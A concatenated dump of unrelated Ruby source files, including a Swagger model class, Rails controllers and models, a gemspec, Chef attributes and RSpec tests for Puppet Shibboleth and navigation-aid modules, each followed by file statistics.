# ID of the user who last modified this resource
attr_accessor :_last_modified_user
# Unique identifier of this resource
attr_accessor :id
# The type of this resource.
attr_accessor :resource_type
# List of advertisement rules
attr_accessor :rules
# Logical router id
attr_accessor :logical_router_id
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'_self' => :'_self',
:'_links' => :'_links',
:'_schema' => :'_schema',
:'_revision' => :'_revision',
:'_system_owned' => :'_system_owned',
:'display_name' => :'display_name',
:'description' => :'description',
:'tags' => :'tags',
:'_create_user' => :'_create_user',
:'_protection' => :'_protection',
:'_create_time' => :'_create_time',
:'_last_modified_time' => :'_last_modified_time',
:'_last_modified_user' => :'_last_modified_user',
:'id' => :'id',
:'resource_type' => :'resource_type',
:'rules' => :'rules',
:'logical_router_id' => :'logical_router_id'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'_self' => :'SelfResourceLink',
:'_links' => :'Array<ResourceLink>',
:'_schema' => :'String',
:'_revision' => :'Integer',
:'_system_owned' => :'BOOLEAN',
:'display_name' => :'String',
:'description' => :'String',
:'tags' => :'Array<Tag>',
:'_create_user' => :'String',
:'_protection' => :'String',
:'_create_time' => :'Integer',
:'_last_modified_time' => :'Integer',
:'_last_modified_user' => :'String',
:'id' => :'String',
:'resource_type' => :'String',
:'rules' => :'Array<AdvertiseRule>',
:'logical_router_id' => :'String'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}){|(k,v), h| h[k.to_sym] = v}
if attributes.has_key?(:'_self')
self._self = attributes[:'_self']
end
if attributes.has_key?(:'_links')
if (value = attributes[:'_links']).is_a?(Array)
self._links = value
end
end
if attributes.has_key?(:'_schema')
self._schema = attributes[:'_schema']
end
if attributes.has_key?(:'_revision')
self._revision = attributes[:'_revision']
end
if attributes.has_key?(:'_system_owned')
self._system_owned = attributes[:'_system_owned']
end
if attributes.has_key?(:'display_name')
self.display_name = attributes[:'display_name']
end
if attributes.has_key?(:'description')
self.description = attributes[:'description']
end
if attributes.has_key?(:'tags')
if (value = attributes[:'tags']).is_a?(Array)
self.tags = value
end
end
if attributes.has_key?(:'_create_user')
self._create_user = attributes[:'_create_user']
end
if attributes.has_key?(:'_protection')
self._protection = attributes[:'_protection']
end
if attributes.has_key?(:'_create_time')
self._create_time = attributes[:'_create_time']
end
if attributes.has_key?(:'_last_modified_time')
self._last_modified_time = attributes[:'_last_modified_time']
end
if attributes.has_key?(:'_last_modified_user')
self._last_modified_user = attributes[:'_last_modified_user']
end
if attributes.has_key?(:'id')
self.id = attributes[:'id']
end
if attributes.has_key?(:'resource_type')
self.resource_type = attributes[:'resource_type']
end
if attributes.has_key?(:'rules')
if (value = attributes[:'rules']).is_a?(Array)
self.rules = value
end
end
if attributes.has_key?(:'logical_router_id')
self.logical_router_id = attributes[:'logical_router_id']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if !@display_name.nil? && @display_name.to_s.length > 255
invalid_properties.push("invalid value for 'display_name', the character length must be smaller than or equal to 255.")
end
if [email protected]? && @description.to_s.length > 1024
invalid_properties.push("invalid value for 'description', the character length must be smaller than or equal to 1024.")
end
return invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if !@display_name.nil? && @display_name.to_s.length > 255
return false if [email protected]? && @description.to_s.length > 1024
return true
end
# Custom attribute writer method with validation
# @param [Object] display_name Value to be assigned
def display_name=(display_name)
if !display_name.nil? && display_name.to_s.length > 255
fail ArgumentError, "invalid value for 'display_name', the character length must be smaller than or equal to 255."
end
@display_name = display_name
end
# Custom attribute writer method with validation
# @param [Object] description Value to be assigned
def description=(description)
if !description.nil? && description.to_s.length > 1024
fail ArgumentError, "invalid value for 'description', the character length must be smaller than or equal to 1024."
end
@description = description
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
_self == o._self &&
_links == o._links &&
_schema == o._schema &&
_revision == o._revision &&
_system_owned == o._system_owned &&
display_name == o.display_name &&
description == o.description &&
tags == o.tags &&
_create_user == o._create_user &&
_protection == o._protection &&
_create_time == o._create_time &&
_last_modified_time == o._last_modified_time &&
_last_modified_user == o._last_modified_user &&
id == o.id &&
resource_type == o.resource_type &&
rules == o.rules &&
logical_router_id == o.logical_router_id
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[_self, _links, _schema, _revision, _system_owned, display_name, description, tags, _create_user, _protection, _create_time, _last_modified_time, _last_modified_user, id, resource_type, rules, logical_router_id].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = NSXT.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map{ |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 32.23057 | 508 | 0.627924 |
3870b9e9a1bbf719b395c5bee51407c5798f740f | 2,204 | class CoinsController < ApplicationController
before_action :set_coin, only: [:show, :update, :destroy]
# GET /coins
def index
@coins = Coin.all
render json: @coins, except: [:created_at, :updated_at, :current_price, :price_change_percentage_1h_in_currency, :high_24h, :low_24h, :total_volume, :market_cap, :market_cap_rank, :circulating_supply]
end
# GET /coins/1
# def show
# render json: @coin
# end
def show
coin = Coin.find(params[:id])
require 'net/http'
url = url = "https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&ids=#{coin.coin_api_id}&order=market_cap_desc&per_page=100&page=1&sparkline=false&price_change_percentage=1h"
request = URI.parse(url)
response = Net::HTTP.get_response(request)
crypto_hash = JSON.parse(response.body)
coin.image = crypto_hash[0]['image']
coin.current_price = crypto_hash[0]['current_price']
coin.price_change_percentage_1h_in_currency = crypto_hash[0]['price_change_percentage_1h_in_currency']
coin.high_24h = crypto_hash[0]['high_24h']
coin.low_24h = crypto_hash[0]['low_24h']
coin.total_volume = crypto_hash[0]['total_volume']
coin.market_cap = crypto_hash[0]['market_cap']
coin.market_cap_rank = crypto_hash[0]['market_cap_rank']
coin.circulating_supply = crypto_hash[0]['circulating_supply']
# Serializer
# render json: CoinSerializer.new(coin)
render json: coin
end
# POST /coins
def create
@coin = Coin.new(coin_params)
if @coin.save
render json: @coin, status: :created, location: @coin
else
render json: @coin.errors, status: :unprocessable_entity
end
end
# PATCH/PUT /coins/1
def update
if @coin.update(coin_params)
render json: @coin
else
render json: @coin.errors, status: :unprocessable_entity
end
end
# DELETE /coins/1
def destroy
@coin.destroy
end
private
# Use callbacks to share common setup or constraints between actions.
def set_coin
@coin = Coin.find(params[:id])
end
# Only allow a list of trusted parameters through.
def coin_params
params.require(:coin).permit(:coin_api_id, :name, :symbol)
end
end
| 30.191781 | 205 | 0.697368 |
3881a0dd1c2d3e40c637f7b711a7d2a5b7989816 | 285 | module SessionsHelper
def log_in(user)
session[:user_id] = user.id
end
def current_user
@current_user ||= User.find_by(id: session[:user_id])
end
def logged_in?
!current_user.nil?
end
def log_out
session.delete(:user_id)
@current_user = nil
end
end
| 13.571429 | 56 | 0.680702 |
879e06603d12e8ec77403ac364fc6b06c4a345df | 2,434 | class LatePolicy < ActiveRecord::Base
belongs_to :user
# has_many :assignments
has_many :assignments, dependent: :nullify
validates :policy_name, presence: true
validates :instructor_id, presence: true
validates :max_penalty, presence: true
validates :penalty_per_unit, presence: true
validates :penalty_unit, presence: true
validates :max_penalty, numericality: {greater_than: 0}
validates :max_penalty, numericality: {less_than: 50}
validates :penalty_per_unit, numericality: {greater_than: 0}
validates :policy_name, format: {with: /\A[A-Za-z0-9][A-Za-z0-9\s'._-]+\z/i}
attr_accessible :penalty_per_unit, :max_penalty, :penalty_unit, :times_used, :policy_name
# method to check whether the policy name given as a parameter already exists under the current instructor id
# it return true if there's another policy with the same name under current instructor else false
def self.check_policy_with_same_name(late_policy_name, instructor_id)
@policy = LatePolicy.where(policy_name: late_policy_name)
if @policy.present?
@policy.each do |p|
next unless p.instructor_id == instructor_id
return true
end
end
false
end
# this method updates all the penalty objects which uses the penalty policy which is passed as a parameter
# whenever a policy is updated, all the existing penalty objects needs to be updated according to new policy
def self.update_calculated_penalty_objects(penalty_policy)
@penalty_objs = CalculatedPenalty.all
@penalty_objs.each do |pen|
@participant = AssignmentParticipant.find(pen.participant_id)
@assignment = @participant.assignment
next unless @assignment.late_policy_id == penalty_policy.id
@penalties = calculate_penalty(pen.participant_id)
@total_penalty = (@penalties[:submission] + @penalties[:review] + @penalties[:meta_review])
if pen.deadline_type_id.to_i == 1
# pen.update_attribute(:penalty_points, @penalties[:submission])
pen.update(penalty_points: @penalties[:submission])
elsif pen.deadline_type_id.to_i == 2
# pen.update_attribute(:penalty_points, @penalties[:review])
pen.update(penalty_points: @penalties[:review])
elsif pen.deadline_type_id.to_i == 5
# pen.update_attribute(:penalty_points, @penalties[:meta_review])
pen.update(penalty_points: @penalties[:meta_review])
end
end
end
end
| 42.701754 | 111 | 0.737058 |
bb205eb7ae60272a93ced5c72c26ed27dc492b7e | 95 | # frozen_string_literal: true
module Authcat
module Account
VERSION = "0.1.0"
end
end
| 11.875 | 29 | 0.705263 |
1d7db005801f6e203e27a8c68be4052b244fb5c3 | 121 | class Order < ActiveRecord::Base
belongs_to :meal
belongs_to :user
validates :quantity, presence: true
end
| 13.444444 | 37 | 0.710744 |
26942f06592129e2d869fc1fc47bb5cadedf48ec | 1,219 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'dissect/version'
Gem::Specification.new do |spec|
spec.name = "dissect"
spec.version = Dissect::VERSION
spec.authors = ["Ole J. Rosendahl"]
spec.email = ["[email protected]"]
spec.summary = %q{Find projects using a given Gem on Github}
spec.description = %q{Simple wrapper around Octokit.rb's code search to find Gems in Gemfiles}
spec.homepage = "https://github.com/olejrosendahl/dissect"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.required_ruby_version = "~> 2.2"
spec.add_dependency "octokit"
spec.add_dependency "json"
spec.add_development_dependency "bundler"
spec.add_development_dependency "rake"
spec.add_development_dependency "rspec"
spec.add_development_dependency "vcr"
spec.add_development_dependency "webmock"
spec.add_development_dependency "coveralls"
end
| 36.939394 | 104 | 0.686628 |
edb56c026b316fd887c8cce7cb19acab29ce8b7a | 755 | # add & configure Laravel Mix - BrowserSync to a [new] Laravel project
# DOCS: https://laravel-mix.com/docs/6.0/browsersync
# https://browsersync.io/docs/options/
set_current_patch 'mix:browsersync'
puts
patch_start
# set the config value if not set
confs.set('dev.mix.browsersync', value: true) unless confs.fetch('dev.mix.browsersync')
npm_install_dev('browser-sync browser-sync-webpack-plugin', 'installed browserSync packages')
newcode = <<-NEW
// insert
// .browserSync('http://#{@project_name}.test')
NEW
# replace contents in webpack.mix.js
gsub_file('webpack.mix.js', ' // insert', newcode, verbose_opts)
git_commit('update webpack.mix.js')
logger.success 'updated webpack.mix.js file with browserSync configs'
patch_end
puts
| 25.166667 | 93 | 0.743046 |
d5f67a1383ffedf65821f6d819e2ba9a5b6b020a | 1,006 | shared_examples 'provider/provisioner/pe_bootstrap/3x' do |provider, options|
if options[:boxes].empty?
raise ArgumentError,
"Box files must be downloaded for provider: #{provider}. Try: rake acceptance:setup"
end
include_context 'acceptance'
let(:extra_env) do
vars = options[:env_vars].dup
vars['PE_BUILD_DOWNLOAD_ROOT'] = options[:archive_path]
vars
end
before(:each) do
# The skelton sets up a Vagrantfile which expects the OS under test to be
# available as `box`.
environment.skeleton('3x_acceptance')
options[:boxes].each do |box|
name = File.basename(box).split('-').first
assert_execute('vagrant', 'box', 'add', name, box)
end
end
after(:each) do
# Ensure any VMs that survived tests are cleaned up.
execute('vagrant', 'destroy', '--force')
end
context 'when installing PE 3.x' do
it 'provisions with pe_build' do
assert_execute('vagrant', 'up', "--provider=#{provider}", 'pe-3x')
end
end
end
| 27.189189 | 90 | 0.670974 |
5d2b30a039a59cca3fae3e329eb520621d5b67c5 | 2,461 | # frozen_string_literal: true
require 'rspec'
RSpec.describe Navigation::RadioNavigationAidIO do
describe '::parse_navs_file' do
subject(:bnn) do
Navigation::RadioNavigationAid.lookup('BNN', Coordinate.new(latitude: 51.0, longitude: 0.0))
end
# rubocop: disable RSpec/BeforeAfterAll the data is read in read-only so no danger of state
# leakage. Its a large data file so reading once rather
# than for every test is better.
before(:all) { described_class.parse_navs_file'data/navs-uk.txt' }
# rubocop: enable RSpec/BeforeAfterAll
specify { expect(bnn.frequency).to eq '113.75' }
specify { expect(bnn.latitude).to eq Latitude.new(51.726164) }
specify { expect(bnn.longitude).to eq Longitude.new(-0.549750) }
end
describe '::parse' do
context 'when its a VOR in Europe' do
subject(:nav_hash) do
described_class.parse('BNN BOVINGDON 51.726164 -0.549750 VOR 113.75 EUR', 1)
end
specify { expect(nav_hash[:name]).to eq 'BNN' }
specify { expect(nav_hash[:fullname]).to eq 'BOVINGDON' }
specify { expect(nav_hash[:frequency]).to eq '113.75' }
specify { expect(nav_hash[:latitude]).to eq '51.726164' }
specify { expect(nav_hash[:longitude]).to eq '-0.549750' }
specify { expect(nav_hash[:region]).to eq 'EUR' }
end
context 'when it is an NDB in Canada' do
subject(:nav_hash) do
described_class.parse('1B SABLE_ISLAND 43.930556 -60.022778 NDB 277.00 CAN', 1)
end
specify { expect(nav_hash[:name]).to eq '1B' }
specify { expect(nav_hash[:fullname]).to eq 'SABLE_ISLAND' }
specify { expect(nav_hash[:frequency]).to eq '277.00' }
specify { expect(nav_hash[:latitude]).to eq '43.930556' }
specify { expect(nav_hash[:longitude]).to eq '-60.022778' }
specify { expect(nav_hash[:region]).to eq 'CAN' }
end
context 'when the line is mis-formed' do
let(:mis_formed_input) { '1BBB SABLE_ISLAND 43.930556 -60.022778 NDB A77.00 CAN' }
let(:error_offset) { ' '.size }
it 'sends an appropriate error message to stderr' do
expect { described_class.parse(mis_formed_input, 1) }
.to output("#{mis_formed_input}\n#{' ' * error_offset}^Mis-formed frequency on line 1\n").to_stderr
end
end
end
end
| 41.016667 | 109 | 0.622511 |
ac1032d5caed3f8812d209118c96ef06f4a189e2 | 220 | require 'spec_helper'
describe SimpleDataValidator do
it 'has a version number' do
expect(SimpleDataValidator::VERSION).not_to be nil
end
it 'does something useful' do
expect(false).to eq(true)
end
end
| 18.333333 | 54 | 0.736364 |
bb0eeac6141d3a7663aa0300a610d1834e1ba0de | 431 | # encoding: utf-8
module WorldLite
c = Country.new
c.name = 'Liberia'
c.key = 'lr'
c.alpha3 = 'LBR'
c.fifa = 'LBR'
c.net = 'lr'
c.continent_name = 'Africa'
c.un = true
c.eu = false
c.euro = false
# Liberia / Africa
# tags: africa, western africa, un, fifa, caf
LR = c
WORLD << LR
WORLD_UN << LR
WORLD_ISO << LR
WORLD_FIFA << LR
end # module WorldLite
| 13.060606 | 50 | 0.538283 |
e825f31f588b3b561cd23096254f8cde4c173995 | 1,782 | # vim: syntax=ruby:expandtab:shiftwidth=2:softtabstop=2:tabstop=2
#
# Copyright (c) 2016-present, Facebook, Inc.
# All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
default['fb_storage'] = {
'manage_mdadm_conf' => true,
'manage_packages' => true,
'mdadm_conf_options' => ['--detail', '--scan'],
'stop_and_zero_mdadm_for_format' => false,
'hybrid_xfs_use_helper' => true,
'fstab_use_labels' => true,
'format' => {
'firstboot_converge' => true,
'firstboot_eraseall' => false,
'hotswap' => true,
'missing_filesystem_or_partition' => false,
'mismatched_filesystem_or_partition' => false,
'mismatched_filesystem_only' => false,
'reprobe_before_repartition' => false,
},
'tuning' => {
'scheduler' => nil,
'queue_depth' => nil,
'over_provisioning' => 'low',
'over_provisioning_mapping' => {},
'max_sectors_kb' => nil,
},
'format_options' => nil,
'_num_non_root_devices' =>
node.linux? ? FB::Storage.eligible_devices(node).count : nil,
'arrays' => [],
'devices' => [],
'_handlers' => [
FB::Storage::Handler::FioHandler,
FB::Storage::Handler::MdHandler,
FB::Storage::Handler::JbodHandler,
],
'_clowntown_device_order_method' => nil,
'_clowntown_override_file_method' => nil,
}
| 33 | 74 | 0.688552 |
f84f12d5429a669abd3b1d494ac33a5a036c6972 | 13,712 | require 'spec_helper'
describe 'dariahshibboleth' do
on_supported_os.each do |os, facts|
context "on #{os}" do
let(:facts) do
facts.merge(networking: { 'fqdn' => 'fq.dn' })
end
it { is_expected.to contain_anchor('dariahshibboleth::begin').that_comes_before('Class[dariahshibboleth::install]') }
it { is_expected.to contain_class('dariahshibboleth::install').that_comes_before('Class[dariahshibboleth::config]') }
it { is_expected.to contain_class('dariahshibboleth::config').that_notifies('Class[dariahshibboleth::service]') }
it { is_expected.to contain_class('dariahshibboleth::service').that_comes_before('Anchor[dariahshibboleth::end]') }
it { is_expected.to contain_class('dariahshibboleth::params') }
it { is_expected.to contain_anchor('dariahshibboleth::end') }
it do
is_expected.to contain_apt__source('SWITCHaai-swdistrib').with('location' => 'http://pkg.switch.ch/switchaai/ubuntu',
'key' => {
'id' => '294E37D154156E00FB96D7AA26C3C46915B76742',
'source' => 'http://pkg.switch.ch/switchaai/SWITCHaai-swdistrib.asc',
})
end
it do
is_expected.to contain_package('shibboleth')
end
it do
is_expected.to contain_file('/opt/dariahshibboleth') \
.with_ensure('directory')
end
it do
is_expected.to contain_file('/opt/dariahshibboleth/accessdenied.html')
end
context 'default settings' do
it do
is_expected.to contain_file('/etc/shibboleth/attribute-map.xml')
end
it do
is_expected.to contain_file('/etc/shibboleth/attribute-policy.xml')
end
it do
is_expected.to contain_file('/etc/shibboleth/attrChecker.html')
end
it do
is_expected.to contain_file('/etc/shibboleth/dfn-aai.pem')
end
it do
is_expected.to contain_file('/etc/shibboleth/dariah-proxy-idp.xml')
end
it do
is_expected.to contain_file('/etc/shibboleth/localLogout.html')
end
it do
is_expected.to contain_file('/etc/shibboleth/metadataError.html')
end
it do
is_expected.to contain_file('/etc/shibboleth/sessionError.html')
end
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{handlerSSL="true" cookieProps="https"}) \
.with_content(%r{<AttributeExtractor type="XML" validate="true" reloadChanges="false" path="attribute-map.xml"})
end
end
context 'with hostname set' do
let(:params) { { hostname: 'foobar' } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<ApplicationDefaults entityID="https:\/\/foobar\/shibboleth"})
end
end
context 'with federation_enabled => true' do
let(:params) { { federation_enabled: true, idp_entityid: 'foobar', discoveryurl: 'barfoo' } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<Handler type="AttributeChecker"}) \
.with_content(%r{AttributeResolver type="SimpleAggregation"}) \
.with_content(%r{sessionHook="\/Shibboleth.sso\/AttrChecker"}) \
.with_content(%r{<SSO discoveryProtocol="SAMLDS" discoveryURL="barfoo">}) \
.with_content(%r{flushSession="true"})
end
end
context 'with federation_enabled => true and attribute_checker_flushsession => false' do
let(:params) { { federation_enabled: true, attribute_checker_flushsession: false } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<Handler type="AttributeChecker"}) \
.with_content(%r{flushSession="false"})
end
end
context 'with attribute_checker enabled' do
let(:params) { { disable_attribute_checker: false } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<Handler type="AttributeChecker"})
end
end
context 'with attribute_checker disabled' do
let(:params) { { disable_attribute_checker: true } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.without_content(%r{<Handler type="AttributeChecker"})
end
end
context 'with federation_enabled => false' do
let(:params) { { federation_enabled: false, idp_entityid: 'foobar' } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{MetadataFilter type="Whitelist"}) \
.with_content(%r{<SSO entityID="foobar">})
end
end
context 'with syslog.logger' do
let(:params) { { loggersyslog: true } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{logger="syslog.logger"})
end
end
context 'with dfn basic enabled' do
let(:params) { { use_dfn_basic: true } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<MetadataProvider type="XML" uri="https:\/\/www.aai.dfn.de\/fileadmin\/metadata\/DFN-AAI-Basic-metadata.xml"})
end
end
context 'with dfn test enabled' do
let(:params) { { use_dfn_test: true } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<MetadataProvider type="XML" uri="https:\/\/www.aai.dfn.de\/fileadmin\/metadata\/DFN-AAI-Test-metadata.xml"})
end
end
context 'with edugain via dfn' do
let(:params) { { use_dfn_edugain: true } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<MetadataProvider type="XML" uri="https:\/\/www.aai.dfn.de\/fileadmin\/metadata\/DFN-AAI-eduGAIN\+idp-metadata.xml"})
end
end
context 'with custom metadata' do
let(:params) { { custom_metadata_url: 'https://foo.bar', custom_metadata_signature_cert: 'puppet://my.file' } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<MetadataProvider type="XML" uri="https:\/\/foo.bar"})
is_expected.to contain_file('/etc/shibboleth/custom_metadata_signature.pem')
end
end
context 'with production proxy enabled' do
let(:params) { { use_proxy: true, integration_proxy: false, custom_metadata_signature_cert: 'puppet://my.file' } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<MetadataProvider type="XML" validate="false" file="dariah-proxy-idp.xml"\/>}) \
.with_content(%r{<SSO entityID="https:\/\/aaiproxy.de.dariah.eu\/idp">})
end
end
context 'with integration proxy enabled' do
let(:params) { { use_proxy: true, integration_proxy: true, custom_metadata_signature_cert: 'puppet://my.file' } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<MetadataProvider type="XML" validate="false" file="dariah-proxy-idp-integration.xml"\/>}) \
.with_content(%r{<SSO entityID="https:\/\/aaiproxy-integration.de.dariah.eu\/idp">})
end
end
context 'serve SP not at root but add a prefex to handler' do
let(:params) do
{
handlerurl_prefix: '/foobar',
cert: 'puppet:///modules/dariahshibboleth/spec/sp-cert.pem',
}
end
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{handlerURL="\/foobar\/Shibboleth.sso">})
is_expected.to contain_file('/opt/dariahshibboleth/sp-metadata.xml') \
.with_content(%r{\/foobar\/Shibboleth.sso\/SAML2\/POST}) \
.with_content(%r{\/foobar\/Shibboleth.sso\/Login})
end
end
context 'with key' do
let(:params) { { key: 'keyfile' } }
it do
is_expected.to contain_file('/etc/shibboleth/sp-key.pem').with('ensure' => 'file',
'owner' => '_shibd',
'group' => 'root',
'mode' => '0400')
end
end
context 'with cert' do
let(:params) do
{
cert: 'puppet:///modules/dariahshibboleth/spec/sp-cert.pem',
hostname: 'foo.bar',
}
end
it do
is_expected.to contain_file('/etc/shibboleth/sp-cert.pem').with('ensure' => 'file',
'owner' => 'root',
'group' => 'root',
'mode' => '0644')
is_expected.to contain_file('/opt/dariahshibboleth/sp-metadata.xml') \
.with_content(%r{<ds:X509Certificate>\s*FooBar\s*<\/ds:X509Certificate>}) \
.with_content(%r{entityID="https:\/\/foo.bar\/shibboleth">}) \
.with_content(%r{<ds:KeyName>foo.bar<\/ds:KeyName>})
end
end
context 'with standby cert' do
let(:params) do
{
cert: 'puppet:///modules/dariahshibboleth/spec/sp-cert.pem',
standby_cert: 'puppet:///modules/dariahshibboleth/spec/sp-standby-cert.pem',
standby_key: 'puppet:///modules/dariahshibboleth/spec/sp-stanby-cert.pem',
hostname: 'foo.bar',
}
end
it do
is_expected.to contain_file('/etc/shibboleth/sp-standby-cert.pem').with('ensure' => 'file',
'owner' => 'root',
'group' => 'root',
'mode' => '0644')
is_expected.to contain_file('/etc/shibboleth/sp-standby-key.pem').with('ensure' => 'file',
'owner' => '_shibd',
'group' => 'root',
'mode' => '0400')
is_expected.to contain_file('/opt/dariahshibboleth/sp-metadata.xml') \
.with_content(%r{<ds:X509Certificate>\s*FooBar\s*<\/ds:X509Certificate>}) \
.with_content(%r{<ds:X509Certificate>\s*Standby\s*<\/ds:X509Certificate>}) \
.with_content(%r{<ds:KeyName>Active<\/ds:KeyName>})
.with_content(%r{<ds:KeyName>Standby<\/ds:KeyName>})
end
end
context 'with custom list of required attributes' do
let(:params) { { attribute_checker_requiredattributes: ['foobar'] } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<Rule require="foobar" })
end
end
context 'with custom registration url' do
let(:params) { { dariah_registration_url: 'https://boo.bar/register' } }
it do
is_expected.to contain_file('/etc/shibboleth/attrChecker.html') \
.with_content(%r{<meta http-equiv="refresh" content="5; URL=https:\/\/boo.bar\/register%3Breturnurl%3D<shibmlp target\/>&entityID=<shibmlp entityID\/>"})
end
end
context 'with additonal tous' do
let(:params) do
{
tou_enforced: true,
tou_sp_tou_group: 'foobargroup',
tou_sp_tou_name: 'foobar.txt',
}
end
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{<Rule require="dariahTermsOfUse">foobar.txt<\/Rule>})
is_expected.to contain_file('/etc/shibboleth/attrChecker.html') \
.with_content(%r{registration%3Binitialgroup%3Dfoobargroup%3Breturnurl%3D})
end
end
context 'with changed REMOTE_USER preference' do
let(:params) { { remote_user_pref_list: 'foo bar' } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{REMOTE_USER="foo bar"})
end
end
context 'with https disabled' do
let(:params) { { handlerssl: false } }
it do
is_expected.to contain_file('/etc/shibboleth/shibboleth2.xml') \
.with_content(%r{handlerSSL="false" cookieProps="http"})
end
end
context 'with locallogout_headertags given' do
let(:params) { { locallogout_headertags: 'foobar' } }
it do
is_expected.to contain_file('/etc/shibboleth/localLogout.html') \
.with_content(%r{foobar})
end
end
it do
is_expected.to contain_service('shibd')
end
end
end
end
| 40.568047 | 165 | 0.556374 |
87074c54dbb0462bdb845a806f3b7bc2deba1e64 | 4,617 | #-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2021 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
